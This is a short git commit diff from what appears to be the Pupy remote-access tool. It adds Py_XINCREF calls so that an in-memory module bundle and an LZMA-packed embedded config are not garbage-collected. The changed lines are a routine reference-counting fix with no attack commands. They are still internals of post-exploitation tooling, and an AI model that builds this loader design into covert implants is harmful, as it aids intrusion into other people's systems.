Prevent GC collection of modules and config

This commit is contained in:
Oleksii Shevchuk 2017-03-04 18:10:06 +02:00
parent 177fab2498
commit bc62899b4f
1 changed files with 4 additions and 0 deletions

View File

@ -37,6 +37,8 @@ static PyObject *Py_get_modules(PyObject *self, PyObject *args)
munmap(resources_library_compressed_string_txt_start, munmap(resources_library_compressed_string_txt_start,
resources_library_compressed_string_txt_size); resources_library_compressed_string_txt_size);
Py_XINCREF(modules);
} }
return modules; return modules;
@ -52,6 +54,8 @@ Py_get_pupy_config(PyObject *self, PyObject *args)
); );
config = PyObject_lzmaunpack(pupy_config+sizeof(int), compressed_size); config = PyObject_lzmaunpack(pupy_config+sizeof(int), compressed_size);
Py_XINCREF(config);
} }
return config; return config;